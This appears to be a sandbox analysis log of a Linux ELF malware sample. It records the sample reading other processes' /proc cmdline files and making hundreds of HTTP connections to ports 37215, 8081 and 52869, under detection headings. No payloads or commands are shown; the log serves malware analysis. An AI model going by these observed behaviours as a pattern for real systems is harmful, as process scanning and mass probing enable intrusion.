Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1475/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33608 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43078 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60368 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57784 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47182 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39360 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39818 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37994 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38086 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38386 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35646 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34298 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47008 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38432 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57000 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46960 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53442 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54362 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48984 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49106 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56836 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35980 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60958 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59574 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57098 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39702 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35104 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46290 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44512 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44656 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56330 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46780 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43370 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42300 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39688 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55666 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36130 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57798 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35076 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42780 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36872 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41800 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54244 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37410 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48192 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54826 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36922 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58482 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60428 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36188 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36422 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56016 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60122 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48442 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58112 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42144 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44908 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56440 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33486 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42198 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58832 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40860 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51806 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39528 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43194 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47680 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58172 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43270 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60056 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35582 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55698 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55086 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52344 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35016 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44876 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54754 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40214 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48204 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59558 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47020 -> 52869
